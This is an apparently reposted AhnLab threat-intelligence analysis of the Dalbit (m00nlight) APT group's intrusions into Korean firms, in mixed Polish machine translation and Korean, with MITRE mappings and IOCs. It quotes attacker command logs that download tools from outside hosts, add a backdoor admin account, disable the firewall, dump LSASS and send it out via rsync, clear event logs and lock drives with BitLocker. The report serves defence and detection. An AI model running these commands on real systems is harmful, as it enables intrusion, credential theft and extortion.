Quantcast
Channel: w4cky - BST
Viewing all 113 articles
Browse latest View live

kampania ataków APT chińskiej grupy hakerów

$
0
0


AhnLab

Wysłane przez kingkimgim , 31 stycznia 2023 r

Dalbit (m00nlight): kampania ataków APT chińskiej grupy hakerów

0. Przegląd

Treść jest rozszerzeniem bloga „Attack Group using FRP (Fast Reverse Proxy) Targeting Domestic Companies”, który został opublikowany 16 sierpnia 2022 r. i śledzi działania grupy.


źródlo: https://asec.ahnlab.com/ko/46431/ 


Grupa atakująca przy użyciu FRP (Fast Reverse Proxy) na koreańskie firmy – ASEC BLOG

Spis treści1. Powłoka internetowa ASP. ASPXSpy2. Podniesienie uprawnień 2.1. Ziemniak2.2. Luka w zabezpieczeniach (exploit) 3. Proxy i przekierowanie portów 3.1. FRP3.2. HTran(LCX)4. Przypadki infekcji ransomware (BitLocker) W ostatnich latach krajowe firmy były często zaangażowane w naruszenia bezpieczeństwa, w których atakujący infiltruje, zaczynając od odsłonięcia podatnego serwera na zewnątrz i przejmuje kontrolę nad siecią wewnętrzną. Przypadki ataków wymierzonych w podatne serwery Atlassian Confluence Podatność Meterpretera na podatne serwery w krajowych placówkach medycznych…

Grupa ta korzystała głównie z narzędzi open source od przeszłości do chwili obecnej i brakowało jej wyraźnych cech profilowania ze względu na brak informacji, takich jak PDB. Ponadto serwer C2 (Command & Control) nadużył serwera krajowej firmy, a informacje, które można było zebrać, były ograniczone, gdyby ofiara nie zażądała osobnego dochodzenia. Jednak po opublikowaniu bloga i zablokowaniu niektórych krajowych serwerów korporacyjnych wykorzystywanych przez osobę atakującą osoba atakująca zaczęła wykorzystywać serwer hostingowy o nazwie „*.m00nlight.top” jako serwer C2 i serwer pobierania. Dlatego ASEC nazywa tę grupę Dalbit (m00nlight.top) od angielskiego słowa „Moonlight” oznaczającego „światło księżyca”.


Potwierdzono, że grupa próbowała zaatakować ponad 50 koreańskich firm od 2022 roku do chwili obecnej. Firmy, które zostały dotychczas zaatakowane, to głównie małe i średnie firmy oraz niektóre duże firmy.W szczególności potwierdzono, że 30% zainfekowanych firm korzysta z określonego rozwiązania oprogramowania do pracy grupowej w Korei. Obecnie trudno jednoznacznie stwierdzić, czy w oprogramowaniu do pracy grupowej występuje luka, ale jeśli serwer wystawiony na zewnątrz jest podatny na ataki, może to doprowadzić do wycieku wewnętrznych tajemnic i oprogramowania ransomware, co może mieć ogromny wpływ na firmę. Ponadto ta grupa Dalbit ustawia niektóre z zainfekowanych firm jako serwery proxy i serwery pobierania oraz jest wykorzystywana jako łącze atakującego podczas infiltracji innej firmy.


W związku z tym, jeśli istnieje podejrzenie ataku grupy Dalbit, konieczne wydaje się przeprowadzenie wewnętrznej kontroli bezpieczeństwa, a w celu zapobieżenia potencjalnym szkodom wtórnym i innym szkodom korporacyjnym należy zgłosić się do AhnLab, aby mogła zareagować zapobiegawczo.


 


1. Krajowe firmy represjonowane (klasyfikacja branżowa)

W sumie 50 firm, które zostały zidentyfikowane jako ofiary od 2022 r. do chwili obecnej, są następujące. Firmy, których nie można jednoznacznie zidentyfikować, są wykluczone z listy i szacuje się, że dotkniętych firm jest więcej.



[Rysunek 1] Branże firm zaatakowanych przez grupę Dalbit

 


Opis każdej klasyfikacji jest następujący.


Technologia: firma zajmująca się oprogramowaniem lub sprzętem

Przemysłowe: Producent maszyn, farb, stali i metalu

Chemia: kosmetyki, farmaceutyki, tworzywa sztuczne itp.

Budownictwo: Firmy budowlane lub stowarzyszenia lub organizacje związane z budownictwem

Motoryzacja : Producenci powiązani z motoryzacją

Półprzewodniki : Producenci powiązani z półprzewodnikami 

Edukacja: firma edukacyjna

Hurt: hurtownik

Media: firmy drukarskie i medialne

Jedzenie: biznes spożywczy

Wysyłka: firma transportowa

Gościnność: firmy zajmujące się wypoczynkiem lub firmy zajmujące się kwaterami turystycznymi

Energia: Firmy energetyczne

Przemysł stoczniowy: Przemysł stoczniowy

Doradztwo : Firma zajmująca się doradztwem w zakresie zarządzania

 


2. Przepływ i charakterystyka

2.1. Podsumowanie


[Rysunek 2] Podsumowanie naruszenia przez Dalbit Group

 


Powyższy rysunek przedstawia proces, w którym osoba atakująca naraża Firmę B. Krótkie wprowadzenie do przepływu jest następujące.


1) Początkowy dostęp

Atakujący próbuje kontrolować system za pomocą narzędzi, takich jak powłoka sieciowa, po uzyskaniu dostępu do systemu za pomocą luk w zabezpieczeniach serwerów WWW lub serwerów SQL. 2) Pobierz kilka narzędzi hakerskich za pośrednictwem powłoki internetowej


Command & Control .

Narzędzia hakerskie obejmują kilka plików binarnych, w tym narzędzia do zwiększania uprawnień, narzędzia proxy i narzędzia do skanowania sieci.


3) Proxy & Internal Reconnaissance

Proxy: Atakujący instaluje narzędzie proxy, takie jak FRP (Fast Reverse Proxy), a następnie 2-1) serwer hostingowy zbudowany przez atakującego lub 2-2) serwer innej firmy (Firma A), która został zainfekowany Próbuje połączyć się z pulpitem zdalnym (RDP) przez

Rekonesans wewnętrzny: Rekonesans wewnętrzny i pozyskiwanie informacji za pomocą narzędzi do skanowania sieci i narzędzi do przejmowania kont.


4) Ruch

poprzeczny Przenosi do innego serwera lub komputera, który można połączyć za pomocą uzyskanych informacji. Następnie narzędzie proxy (FRP) jest instalowane na komputerze, na którym ruch boczny zdołał skonfigurować środowisko, w którym osoba atakująca może uzyskać dostęp do protokołu RDP, a niezbędne uprawnienia uzyskuje się, dodając określone konto lub używając narzędzia do kradzieży danych uwierzytelniających, takiego jak Mimikatz .


5) Wpływ

Wreszcie, jeśli atakujący ukradł wszystkie potrzebne mu informacje, blokuje określony dysk za pomocą funkcji BitLocker i żąda pieniędzy.

[Tabela 1] Podsumowanie opisu naruszenia

 


Główne cechy grupy Dalbit są następujące.


2.2. Cechy Dalbita

Listaopisane

Atakujący serwer C2Pobieranie i serwer C2 (Command&Control):

Ponad połowa krajowych serwerów korporacyjnych lub serwerów hostingowych nadużywa krajowych serwerów korporacyjnych Serwery

hostingowe używają głównie *.m00nlight.top lub adresu IP.

Próba kontroli RDPPo infekcji próbuje głównie

uzyskać dostęp RDP Użyj narzędzia proxy lub Gotohttp do połączenia RDP

narzędzie proxyOprócz FRP i LCX (Htran) główne narzędzia proxy używają NPS i  ReGeorg .

Dodaj konto użytkownikaDodatkowe informacje o koncie za pomocą polecenia net

( ID : 'main' / PW : 'ff0.123456' )

narzędzia open sourceKorzystanie z narzędzi typu open source, z których większość jest łatwo dostępna dla każdego,

zwłaszcza wiele narzędzi napisanych w języku chińskim.

uchylanie sięUżyj produktów VMProtect, aby ominąć narzędzia hakerskie i diagnostykę Usuwanie

dziennika zdarzeń bezpieczeństwa

kradzież informacjiInformacje o koncie użytkownika Informacje e-

mail

Przeciek ekranu Informacje o

zainstalowanym programie

[Tabela 2] Cechy Dalbita

 


3. Stosowane narzędzia i proces naruszenia

3.1. Narzędzia użytkowe i złośliwe oprogramowanie

powłoka internetowaprogram do pobieraniapodwyższenie uprawnieńpełnomocnikrekonesans wewnętrzny

Godzilla

ASPXSpy

AntSword

China ChopperCertutil (Windows CMD)

Bitsadmin (Windows CMD)BadPotato

JuicyPotato

SweetPotato

RottenPotato

EFSPotato


CVE-2018-8639

CVE-2019-1458FRP

LCX

NPS

ReGeorgFScan

NbtScan

TCPScan

Goon Nltest

(Windows CMD)

ruch bocznyZbieranie i wyciek informacjitylne drzwiszyfrowanie plikówuchylanie się

RDP

PsExec

RemCom

WineexecWevtutil (Windows CMD)

WMI (Windows CMD)

ProcDump

Dumpert

EML Extractor (przez

Mimikatz


Rsync )CobaltStrike

MetaSploit

BlueShell

LadonBitLocker

(Windows CMD)Zabezpieczenia Usuwanie dziennika (Windows CMD)

Zapora wyłączona (Windows CMD)

Próba usunięcia produktu antywirusowego

VMProtect Packing

[Tabela 3] Złośliwe kody i narzędzia hakerskie wykorzystywane przez Dalbit

Jedno narzędzie stworzone przez atakującego wydaje się wyciekać wiadomości e-mail, a reszta korzystała z normalnych programów systemu Windows lub narzędzi, które można łatwo uzyskać podczas wyszukiwania.


 


3.2. proces o naruszenie

3.2.1. wczesna penetracja

Przypuszcza się, że celem ataku jest serwer z określonym oprogramowaniem do pracy grupowej zainstalowanym w Korei, podatny na ataki serwer WWW, serwer pocztowy (Exchange Server) i serwer SQL. Atakujący wykorzystał luki w zabezpieczeniach WebLogic, takie jak CVE-2017-10271 lub luki w zabezpieczeniach przesyłania plików, aby przesłać WebShell, a niektóre wydają się używać wiersza polecenia programu SQL Server (xp_cmdshell). 


Powłoki sieciowe wykorzystywane przez osoby atakujące to Godzilla, ASPXSpy, AntSword i China Chopper w kolejności. Godzilla była używana najczęściej, a także zidentyfikowano kilka innych powłok sieciowych.


Ścieżka zainstalowanej powłoki internetowej jest następująca.


– Rekrutacja personelu (luka umożliwiająca przesyłanie plików)

D:\WEB\********recruit\css\1.ashx

D:\WEB\********recruit\css\4.ashx

D: \WEB\********recruit\common\conf.aspx

.. .


– Luka w zabezpieczeniach związana z przesyłaniem plików

D:\UploadData\***********\****_File\Data\Award\1.ashx

D:\UploadData\*********** \****_File\Data\Award\2.aspx

D:\UploadData\************\****_File\Data\Award\3.aspx

D:\** Usługa sieci Web\*******\********Edytor\przykład\photo_uploader\File\conf.aspx

D:\**Usługa sieci Web\********_Submission\Include\file . aspx

.. .


– Określone oprogramowanie do pracy grupowej

D:\Web\(groupware)\cop\1.ashx

D:\Web\(groupware)\app\4.ashx

D:\Web\(groupware)\bbs\4.asmx

D:\Web\ (Oprogramowanie do pracy grupowej)\erp\tunnel.aspx (ReGeorg)

D:\inetpub\(Oprogramowanie do pracy grupowej)\image\2.asmx

D:\inetpub\(groupware)\image\2.aspx

C:\(groupware)\Web\(groupware)\cop\conf.aspx

C:\(groupware)\Web\(groupware)\cop\1.ashx

C:\(oprogramowanie do pracy grupowej)\Web\(oprogramowanie do pracy grupowej)\cop\1.asmx

C:\(oprogramowanie do pracy grupowej)\Web\(oprogramowanie do pracy grupowej)\cop\1.aspx


– Serwer pocztowy ( Exchange Server )

D:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\aa.aspx

D:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\ auth\11.aspx

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Tymczasowe pliki ASP.NET\root\91080f08\2694eff0\app_web_defaultwsdlhelpgenerator.aspx.cdcab7d2.sjx_41yb.dll

C:\Windows\Microsoft.NET\ Framework64\v4.0.30319\Tymczasowe pliki ASP.NET\root\91080f08\2694eff0\app_web_ldaj2kwn.dll


– Weblogic D:\***\wls1035\domains\************\servers\*******\tmp\************\uddiexplorer \gcx62x\war\modifyregistryhelp.jsp

D:\***\wls1035\domains\************\servers\*******\tmp\***** ******\wls-wsat\zfa3iv\war\eee.jsp

D:\***\wls1035\domains\************\servers\***** *\tmp\************\wls-wsat\zfa3iv\war\error.jsp

D:\Oracle\***********\user_projects\domains\** **********\servers\WLS_FORMS\tmp\************\wls-wsat\tcsxmg\war\123.jsp

D:\Oracle\*** *******\user_projects\domains\***************\servers\WLS_FORMS\tmp\************\wls-wsat \tcsxmg \war\test.jsp D:\Oracle\***********\user_projects\domains\*************\servers\WLS_FORMS\tmp\** **********\wls-wsat\tcsxmg\war\aaa.jsp


– Tomcat

C:\(Tomcat)\webapps\dd\sb.jsp

C:\(Tomcat)\webapps\ddd\index.jsp

C:\(Tomcat)\webapps\docs\update.jsp

C:\(Tomcat)\webapps\tmp\shell.jsp

[Tabela 4] Ścieżka, do której ładowana jest powłoka WWW

 


3.2.2. Pobierać

Atakujący pobiera inne narzędzia hakerskie za pomocą domyślnie zainstalowanych normalnych programów systemu Windows. Ponieważ powłoka internetowa jest zwykle używana do infiltracji, z wyjątkiem procesów poleceń, takich jak cmd, procesy nadrzędne są wykonywane przez procesy serwera sieciowego, takie jak w3wp.exe, java.exe, sqlserver.exe i tomcat*.exe. Pobrane pliki otrzymują pliki potrzebne atakującemu, takie jak narzędzia do podnoszenia uprawnień, narzędzia proxy i narzędzia do skanowania sieci. Polecenie pobierania jest następujące.


(Dla porównania, w przypadku nadużywania krajowego serwera korporacyjnego adres nie jest w pełni ujawniany.)


1) Certutil


> certutil -urlcache -split -f  hxxp://www.ive***.co[.]en/uploadfile/ufaceimage/1/update.zip  c:\programdata\update.exe (frpc)

> certutil -urlcache - split -f  hxxp://121.167.***[.]***/temp/8.txt  c:\programdata\8.ini (frpc.ini)

> certutil -urlcache -split -f  hxxp://103.118 .42[.]208:8080/frpc.exe  frpc.exe

[Tabela 5] Dziennik pobierania Certutil

2) Bitsadmin


> bitsadmin /transfer mydownloadjob /download /priority normal “ hxxp://91.217.139[.]117:8080/calc32.exe ” “c:\windows\debug\winh32.exe” (frpc)

> bitsadmin /transfer mydownloadjob / download /priority normal „ hxxp://91.217.139[.]117:8001/log.ini ” „c:\windows\debug\log.ini” (frpc.ini)

[Tabela 6] Dziennik pobierania Bitsadmin

Narzędzia hakerskie i złośliwe kody pobierane przez osoby atakujące były identyfikowane głównie w następujących ścieżkach. 


%ALLUSERSPROFIL%


%SystemDrive%\temp

%SystemDrive%\perflogs

%SystemDrive%\nia

%SystemDrive%\.tmp


%SystemRoot%

%SystemRoot%\debug

%SystemRoot%\temp

[Tabela 7] Główny katalog używany przez grupę Dalbit

Dlatego w przypadku podejrzenia naruszenia konieczne jest sprawdzenie pliku w odpowiedniej ścieżce.


 


3.2.3. Podnieś uprawnienia i dodaj konta

Atakujący używają głównie Potato (BadPotato, JuicyPotato, SweetPotato, RottenPotato, EFSPotato) i POC (CVE-2018-8639, CVE-2019-1458) opublikowanych na Github w celu eskalacji uprawnień. Charakteryzuje się dodaniem następującego konta po podniesieniu uprawnień.


Sp.exe poniżej to narzędzie SweetPotato.


> sp.exe „whaomi” (sprawdź uprawnienia)

> sp.exe „netsh advfirewall wyłącz stan wszystkich profili” (zapora wyłączona)

> sp.exe „użytkownik sieciGłównyff0.123456 /add & net localgroup administrators main /add” (dodaj konto)

[Tabela 8] Logi przy użyciu SweetPotato

Interesującą częścią do obejrzenia jest nazwa konta dodana przez atakującego. Potwierdza to również konto atakującego „główne” w innych firmach naruszających prawo.


Oprócz dodawania kont, atakujący wykorzystał również przejęte konta administratorów.


> wmic /node:127.0.0.1 /user:storadmin /password:r*****1234!@#$ wywołanie procesu utwórz „cmd.exe /cc:\temp\s.bat”

[Tabela 9] Dziennik wykonania konta administratora

 


3.2.4. ustawienia proxy

Po infiltracji serwera atakujący uzyskuje do niego dostęp za pośrednictwem serwera proxy w celu wykorzystania komunikacji RDP. FRP i LCX były używane głównie jako narzędzia proxy, a ReGeorg , NPS lub RSOCKS zostały również potwierdzone w niektórych firmach. Ponadto kilka narzędzi proxy, takich jak FRP i LCX, zostało zidentyfikowanych w jednym miejscu w określonej firmie naruszającej prawa, a wiele plików konfiguracyjnych FRP (. Uważa się, że gdy wśród dostępnych komputerów jest wiele ofiar, atakujący dodatkowo instaluje FRP i wykorzystuje dużą liczbę plików konfiguracyjnych. Ponadto używany przez grupę LCX ma te same funkcje, co open source, ale zamiast wersji opublikowanej na Githubie zastosowano arbitralnie skompilowane chińskie pliki binarne. 


Istnieją różnice w metodach przekazywania i protokołach obsługiwanych przez narzędzia proxy, takie jak FRP i LCX. Ponieważ jednak raport TI „Raport z analizy przypadków ataków wykorzystujących różne narzędzia do zdalnego sterowania ” wyjaśnia różnicę, rzeczywiste przypadki infekcji oraz odtwarzane i sieciowe pakiety, ten artykuł nie wspomina o tej części osobno. 


 


1) FRP (SZYBKIE ODWROTNE PROXY)

W przypadku przejęcia przez tę grupę pliki konfiguracyjne FRP (.ini) zostały zidentyfikowane zarówno na serwerze, jak i na urządzeniu PC. Poniżej znajduje się przykład rzeczywistej firmy naruszającej zasady.



[Rysunek 3] Plik konfiguracyjny FRPC (m00nlight.top) znaleziony w firmie naruszającej prawo

W szczególności grupa Dalbit komunikowała się głównie za pomocą protokołu Socks5. Protokół Socks5 jest protokołem piątej warstwy 7. warstwy OSI i może obsługiwać różne żądania, takie jak HTTP, FTP i RDP, ponieważ znajduje się między 4. a 7. warstwą. W związku z tym, jeśli atakujący użyje narzędzia połączenia proxy, takiego jak Proxifier, które może obsłużyć Socks5 na serwerze atakującego, możliwa jest zdalna kontrola przez RDP, a jeśli możliwe jest połączenie z wewnętrznym komputerem PC, można również wykonać ruch boczny. Innymi słowy, jeśli ustawisz plik konfiguracyjny na protokół Socks5, masz większą swobodę, ponieważ możesz obsłużyć wiele żądań bez dalszych modyfikacji. 



[Rysunek 4] Przykład użycia Socks5

 


Poniżej znajdują się nazwy plików FRP i polecenia użyte przez atakującego. Poniżej wymieniono te najczęściej używane.


Nazwa pliku FRP

update.exe

debug.exe

main.exe

info.exe

Agent.exe

frpc.exe

test.exe

zabbix.exe

winh32.exe

cmd.exe

[Tabela 10] Nazwy plików FRP

Komenda FRP

> update.exe -c frpc.ini

> update.exe -c 8080.ini

> update.exe -c 8.ini

> info.zip -c frpc__8083.ini

> debug.exe -c debug.ini

> debug.exe - c debug.log

> debug.exe -c debug.txt

> frpc.exe -c frpc__2381.ini

> cmd.exe /cc:\temp\****\temp\frpc.ini

[Tabela 11] Dziennik wykonania FRP

Ponadto niektóre firmy zachowywały wytrwałość, rejestrując FRP w harmonogramie zadań (schtasks) pod nazwą „debug”. Potwierdzono, że zarejestrowany harmonogram został wykonany w następujący sposób.


> schtasks /tn debug /run

[Tabela 12] Dziennik wykonywany przez Harmonogram zadań

 


2) LCX (HTRAN)

Dalbit użył pliku binarnego LCX (Htran) skompilowanego przez pewnego Chińczyka. Ma to taką samą funkcję jak istniejący plik binarny , ale określony jest pseudonim twórcy pliku binarnego.



[Rysunek 5] Uruchamianie LCX używane przez grupę Dalbit (autor: 折羽鸿鹄)

Osoba, która utworzyła plik binarny, jest identyfikowana jako „折羽鸿鹄” (QQ:56345566). Jest bardzo mało prawdopodobne, aby ten autor był atakującym, ale ponieważ tego pliku binarnego nie można pobrać po prostu przez wyszukiwanie, przypuszcza się, że atakujący ma powiązania z Chinami.


Zainstalowana nazwa pliku i wykonanie są następujące.


Nazwa pliku LCX

lcx3.exe

lcx.exe

aktualizacja.exe

[Tabela 13] Nazwy plików LCX

 


Komenda LCX

> update.exe -slave 1.246.***.*** 110 127.0.0.1 3389

> lcx3.exe -slave 222.239.***.*** 53 127.0.0.1 3389

[Tabela 14] Dziennik poleceń LCX

Powyższy LCX C2 to serwer firmy krajowej, dlatego oznaczony jest maskowaniem.


 


3.2.5. rekonesans wewnętrzny

Narzędzia Fscan i NBTScan były powszechnie używane do skanowania sieci, aw niektórych przypadkach zidentyfikowano TCP Scan i Goon.


Goon to narzędzie do skanowania sieci wykonane z Golang, które może skanować konta Tomcat, MSSQL i MYSQL, a także podstawowe skanowanie portów. Możesz również potwierdzić, że narzędzie jest również wykonane w języku chińskim.



[Rysunek 6] Ekran podczas uruchamiania Goon

 


3.2.6. kradzież informacji

Głównymi informacjami kradnącymi są informacje LSASS Dump oraz plik EML konkretnego konta.W zależności od firmy potwierdzono, że program zainstalowany za pomocą polecenia WMIC jest sprawdzany lub obraz ekranu jest wysyłany na serwer osoby atakującej w regularnych odstępach czasu z komputera konkretnej ofiary.


1) WYODRĘBNIJ DANE UWIERZYTELNIAJĄCE (ZRZUT LSASS)

Osoba atakująca próbowała wyodrębnić informacje uwierzytelniające bez instalowania Mimikatz zgodnie z celem. Jest to metoda zrzutu procesu Lsass.exe.Ponieważ ten plik zrzutu zawiera informacje uwierzytelniające, narzędzia takie jak Mimikatz lub Pypykatz mogą uzyskać informacje uwierzytelniające komputera. Szczegółowe informacje na temat Mimikatz można znaleźć w raporcie TI „Raport z analizy technik propagacji w sieci wewnętrznej przy użyciu Mimikatz ”.


Metoda atakującego polegająca na kradzieży danych uwierzytelniających bez Mimikatz jest następująca.


1-1) Wywrotka


Open source Dumpert to narzędzie, które omija API hooking i działa zgodnie z wersją systemu operacyjnego, zrzuca proces lsass.exe za pomocą API MiniDumpWriteDump(). Atakujący zmodyfikował kod, aby zmienić ścieżkę pliku zrzutu i usunąć funkcję wyjścia dziennika.



[Rysunek 7] Lewy (Dumpert open source) vs Prawy (Dumper używany przez grupę Dalbit)

Na powyższym obrazku w przypadku prawej strony widać, że ścieżka i ciąg wyjściowy są takie same, poza tym, że zostały usunięte.


Wszystkie dotychczas potwierdzone ścieżki plików zrzutu to „%SystemRoot%\temp” i są następujące.


%SystemRoot%\temp\duhgghmpert.dmp

%SystemRoot%\temp\dumpert.dmp

%SystemRoot%\temp\tarko.dmp

%SystemRoot%\temp\lsa.txt

[Tabela 15] Ścieżka pliku zrzutu Lsass

 


1-2) Procdump


Narzędzie Procdump to normalny program narzędziowy dostarczony przez firmę Microsoft, który zapewnia funkcję zrzutu procesu. Atakujący wykonał zrzut za pomocą narzędzia w następujący sposób.



[Rysunek 8] Dane wyjściowe podczas wykonywania Procdump

Następnie atakujący wysłał plik zrzutu na serwer atakującego za pośrednictwem narzędzia o nazwie Rsync (Remote Sync). Poniżej znajduje się rzeczywisty przypadek atakującego próbującego ujawnić informacje.


> svchost.exe -accepteula -ma lsass.exe web_log.dmp

> rsync -avz –port 443 web_log.zip test@205.185.122[.]95::share/web_log.zip

[Tabela 16] Wykonanie i logowanie Procdump przy użyciu rsync

 


2) EKSTRAKCJA POCZTY


[Rysunek 9] Uruchamianie narzędzia do wyodrębniania poczty

 


해당 샘플은 Golang으로 만들어진 메일 추출 도구로 현재 유일하게 공격자가 만든 도구로 추정되고 있다. 이는기업의 Exchange 메일 서버를 대상으로  EWS(Exchange Web Service)를 통해 특정 계정 메일을 EML파일로 추출하는 기능을 가지고 있다. 인자로는 Exchange 서버 주소와, 계정명, 해당 계정의 NTLM 패스워드 해시, 날짜 및 시간 등이 존재한다. 실행 시 해당 계정의 모든 메일함에서 인자로 받은 시간을 기준으로 모든 메일을 추출하여 EML 파일로 저장한다.


참고로 해당 바이너리의 PDB 정보는는 ‘fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff’로 무의미하다.



[그림 10] 메일 추출 도구의 PDF 정보

 


3) 화면 유출

공격자는 특정 PC의 화면을 공격자 서버로 송출하였다. 현재 화면을 캡쳐하는 바이너리가 확인되지 않았으나, 감염된 PC의 화면이 송출되는 공격자 서버가 확인되었다. 이는 5~10초 간격으로 특정 기업의 침해 PC의 화면이 송출되고 있었다.


공격자의 화면 송출 서버 : hxxp://91.217.139[.]117:8080/1.bat


[그림 11] 실제로 송출되었던 특정 기업의 피해 PC 화면

 


이는 온전히 이미지만 송출되었으며 원격으로 조종할 수 없고 오디오 등은 출력되지 않았다.


또한 화면이 송출되고 있던 공격자 서버(91.217.139[.]117)는 또 다른 기업에서 다운로드 서버로도 사용되고 있었다.


>certutil -urlcache -split -f hxxp://91.217.139[.]117:8080/calc32.exe

>certutil -split -urlcache -f hxxp://91.217.139[.]117:8443/log.ini c:\temp >bitsadmin  /transfer mydownloadjob /download /priority normal “hxxp://91.217.139[.]117:8080/calc32.exe” “c:\windows\debug\winh32.exe” (frpc)

>bitsadmin  /transfer mydownloadjob /download /priority normal “hxxp://91.217.139[.]117:8001/log.ini” “c:\windows\debug\log.ini” (frpc.ini)

[표 17] 공격자 서버(91.217.139[.]117)의 다른 로그

 


4) 설치된 프로그램 조회 및 로그인 정보

공격자는 WMIC 명령어를 통해 설치된 프로그램을 확인하였다.


> wmic product get name,version

[표 18] 공격자가 설치된 프로그램을 조회한 방법


[그림 12] 설치된 프로그램 목록, 명령어 예시(WMIC)

 


또한 이벤트 로그 중 특정 이벤트 ID를 발생한 도메인 계정 정보에 대해 수집하였다. 생성된 파일은 c:\temp\EvtLogon.dat에 존재한다.


Event ID의미

4624로그인 성공

4768커버로스 인증 요청

4776NTLM 인증 시도

[표 19] 공격자가 사용한 이벤트 ID의 의미

> wevtutil qe security /q:”Event[System[(EventID=4624 or EventID=4768 or EventID=4776)]]” /f:text /rd:true >> c:\temp\EvtLogon.dat

[표 20] wevtutil 명령어 로그

 


3.2.7. 파일 암호화

해당 내용은 과거 블로그를 통해 자세히 소개되었다. 공격자는 윈도우 유틸리티인 BitLocker를 통해 특정 드라이브를 암호화하여 금액을 요구하였다. 현재 여러 피해 기업이 더 확인되고 있다.


BitLocker 명령어

> “C:\Windows\System32\BitLockerWizardElev.exe” F:\ T 

> manage-bde  -lock  -ForceDismount F:

> manage-bde  -lock  -ForceDismount e:

> “c:\windows\system32\bitlockerwizardelev.exe” e:\ t

> “c:\windows\system32\bitlockerwizardelev.exe” f:\ u

[표 21] BitLocker 로그

아래는 공격자가 사용하는 랜섬노트이다. 공격자는 startmail.com, onionmail.com과 같은 익명 메일 서비스를 이용하였다.



[그림 13] 이전 블로그에 소개된 랜섬노트

랜섬노트 다운로드로 추정되는 명령어는 다음과 같다.


> certutil -urlcache -split -f hxxp://175.24.32[.]228:8888/readme c:\windows\temp\readme

[표 22] 랜섬노트 다운로드로 추정되는 로그

 


3.2.8. 우회

1) VMPROTECT PACKING

공격자는 바이너리를 업로드 후 진단이 되었을 때 VMProtect로 패킹을 하여 진단 우회를 시도하였다.


– 권한 상승 도구

%ALLUSERSPROFILE%\badpotatonet4.exe

%ALLUSERSPROFILE%\BadPotatoNet4.vmp.exe

%ALLUSERSPROFILE%\SweetPotato.exe

%ALLUSERSPROFILE%\SweetPotato.vmp.exe

%ALLUSERSPROFILE%\jc.vmp.exe

%SystemDrive%\nia\juicypotato.vmp1.exe

%SystemDrive%\nia\juicypotato.vmp.exe


– 프록시 도구

E:\WEB\*****\data\frpc.vmp.exe

%ALLUSERSPROFILE%\lcx.exe

%ALLUSERSPROFILE%\lcx_VP.exe

%SystemDrive%\Temp\lcx.exe

%SystemDrive%\Temp\lcx_VP.exe

%SystemDrive%\Temp\svchost.exe (FRP)

%SystemDrive%\Temp\frpc.vmp.exe

[표 23] VMP로 패킹된 파일

 


2) WEVTUTIL을 이용한 윈도우 이벤트 로그 삭제

Security 이벤트 로그 삭제

> cmd.exe /c wevtutil cl security


Application 로그 삭제

> cmd.exe wevtutil.exe el

> cmd.exe wevtutil.exe cl “application”

[표 24] 윈도우 이벤트 로그 삭제

 


3) 방화벽 OFF

sp.exe “netsh advfirewall set allprofiles state off”

[표 25] 방화벽 OFF

 


4. 결론

달빗(Dalbit) 해킹 그룹은 국내 기업의 취약한 서버를 대상으로 공격을 시도하였으며 이는 중견 이하 업체뿐만 아니라 일부 대기업에서도 로그가 올라오고 있다. 특히 피해 기업 중 30%가 국내의 특정 그룹웨어 제품을 사용 중인 것으로 확인되었다. 또 해당 그룹은 침입 초기에 사용한 웹쉘부터 최종 단계인 랜섬웨어까지 누구나 쉽게 구할 수 있는 도구를 사용하고 있으며 이 중, 중국 커뮤니티에서 구한 것으로 추정되는 프록시 도구나 중국어로 설명된 도구 그리고 이 글에서 언급되지 않은 중국어 도구도 존재한다. 따라서 공격자는 중국어로 소개되는 도구를 주로 사용한 것으로 보아 중국과 일부 연관이 있을 것으로 추정된다.


서버 관리자는 감염 의심 시 이 글에서 소개된 공격자의 주 다운로드 경로와 주 계정명(‘main’) 그리고 IOC 등을 확인해야 하며, 만약 의심 징후 확인 시 안랩에 즉시 신고하여 2차 피해를 줄여야 할 것으로 보인다. 또한 관리자는 서버 구성 환경이 취약할 경우 최신 버전으로 패치해 기존 취약점을 사전 방지하며 외부에 공개된 서버 중 관리되지 않는 서버가 있다면 필히 점검해야 할 것으로 보인다.


 


5. IOC

참고로 ASEC 블로그에서는 공격자가 악용 중인 국내 기업 서버의 IP를 공개하지 않는다.


Mitre Attack

ExecutionPersistencePrivilege EscalationCredential AccessDiscoveryDefense EvasionLateral MovementCollectionExfiltrationCommand and ControlImpactResource Development

– Command and Scripting Interpreter(T1059)


– Windows Management Instrumentation(T1047)


– System Service(T1569)– Scheduled Task/Job(T1053)


– Create Account(T1136)


– Server Software Component(T1505)


– Account Manipulation(T1098)– Access Token Manipulation(T1134)


– Exploitation for Privilege Escalation(T1068)– OS Credential Dumping (T1003)– Remote System Discovery(T1018)


– Network Service Discovery(T1046)– Impair Defenses(T1562)


– Indicator Removal(T1070)– Remote Services(T1021)


– Lateral Tool Transfer(T1570)– Data from Local System(T1005)


– Account Discovery: Email Account(1087.003)


– Email Collection(T1114)


– Screen Capture(T1113)– Exfiltration Over Web Service(T1567)– Proxy(T1090)


– Ingress Tool Transfer(T1105)– Data Encrypted for Impact(T1486)– Stage Capabilities: Upload Malware(T1608.001)

[표 26] Mitre Attack

진단명

WebShell/Script.Generic (2020.12.11.09)

WebShell/ASP.ASpy.S1361 (2021.02.02.03)

WebShell/ASP.Generic.S1855 (2022.06.22.03)

WebShell/ASP.Small.S1378 (2021.02.24.02)

WebShell/JSP.Godzilla.S1719(2021.12.03.00)

WebShell/JSP.Chopper.SC183868(2022.10.15.01)

WebShell/JSP.Generic.S1363 (2021.01.27.03)

Backdoor/Script.Backdoor (2015.01.04.00)

WebShell/JSP.Generic.S1956 (2022.11.14.00)

Trojan/Script.Frpc (2022.12.17.00)

JS/Webshell (2011.08.08.03)

HackTool/Win.Fscan.C5334550(2023.01.27.00)

HackTool/Win.Fscan.C5230904(2022.10.08.00)

HackTool/Win.Fscan.R5229026(2022.10.07.03)

Trojan/JS.Agent(2022.03.16.02)

Unwanted/Win32.TCPScan.R33304(2012.08.17.00)

HackTool/Win.Scanner.C5220929(2022.08.09.02)

HackTool/Win.SweetPotato.R506105 (2022.08.04.01)

Exploit/Win.BadPotato.R508814 (2022.08.04.01)

HackTool/Win.JuicyPotato.R509932 (2022.08.09.03)

HackTool/Win.JuicyPotato.C2716248 (2022.08.09.00)

Exploit/Win.JuicyPotato.C425839(2022.08.04.01)

